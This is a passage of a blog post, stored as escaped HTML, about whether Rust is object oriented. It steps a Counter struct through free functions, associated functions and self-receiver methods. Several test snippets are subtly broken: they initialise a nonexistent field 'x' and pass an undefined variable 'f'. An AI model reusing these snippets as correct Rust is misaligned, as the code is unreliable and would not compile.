style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: c.count&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mod&lt;/span&gt; test&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;super&lt;/span&gt;::{Counter,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;increment};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count_up()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;x: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;increment(c);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;assert_eq!(c.count,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s hard to call this &amp;ldquo;object oriented&amp;rdquo; in any meaningful way, although I&amp;rsquo;m&#xA;sure some readers will enthusiastically correct me (which I welcome!)&#xA;&lt;code&gt;Counter&lt;/code&gt; does not encapsulate its data,&#xA;nor is its behavior in any way bound to that data.&lt;/p&gt;&#xA;&lt;p&gt;We can also write &lt;strong&gt;associated functions&lt;/strong&gt;, which are a lot like free functions&#xA;but are named differently and written inside &lt;code&gt;impl&lt;/code&gt; blocks.&#xA;Since the compiler knows which type the function is &amp;ldquo;about&amp;rdquo;, it also gives us&#xA;a shortcut; instead of naming the type when it&amp;rsquo;s used in that function, we can&#xA;just write &lt;code&gt;Self&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_associated.rs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(c: Self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: c.count&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mod&lt;/span&gt; test&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;super&lt;/span&gt;::Counter;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count_up()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;x: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter::increment(f);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;assert_eq!(c.count,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Counter&lt;/code&gt; still doesn&amp;rsquo;t encapsulate its data, but its behavior -&#xA;&lt;code&gt;increment&lt;/code&gt; - is bound, at least in name, to &lt;code&gt;Counter&lt;/code&gt; as a type.&#xA;I could define a &lt;code&gt;Cycle::increment&lt;/code&gt; in the same module without any confusion&#xA;occurring.&#xA;Is this OOP? I say no; we&amp;rsquo;ve essentially just changed the name of the function,&#xA;and made it a bit more ergonomic to import.&lt;/p&gt;&#xA;&lt;p&gt;Rust gives us another bit of special syntax, though, which changes things.&#xA;This is the &lt;code&gt;self&lt;/code&gt; argument, or &lt;strong&gt;receiver&lt;/strong&gt;, and it looks like so:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_receiver.rs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;count: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count(&amp;amp;self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.count&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: self.count&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mod&lt;/span&gt; test&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;super&lt;/span&gt;::Counter;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count_up()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c.increment();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;assert_eq!(c.count(),&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This looks a lot more like object oriented programming, at least to me.&#xA;The data is encapsulated; we could have some complex memory-saving method of&#xA;recording the count value inside of &lt;code&gt;Count&lt;/code&gt;, for all the user knows, and just&#xA;convert it to a &lt;code&gt;u32&lt;/code&gt; when &lt;code&gt;Counter::count&lt;/code&gt; is called.&lt;/p&gt;&#xA;&lt;h2 id=&#34;generics-and-static-dispatch&#34;&gt;Generics and Static Dispatch&lt;/h2&gt;&#xA;&lt;p&gt;But - is it object oriented &lt;em&gt;in Rust&lt;/em&gt;?&#xA;In Rust, we use &lt;strong&gt;object&lt;/strong&gt; to mean something very specific:&#xA;a type with a name including &lt;code&gt;dyn Trait&lt;/code&gt;.&#xA;&lt;code&gt;Counter&lt;/code&gt; could implement a trait, certainly; let&amp;rsquo;s call it &lt;code&gt;Increment&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_trait.rs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;count: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span 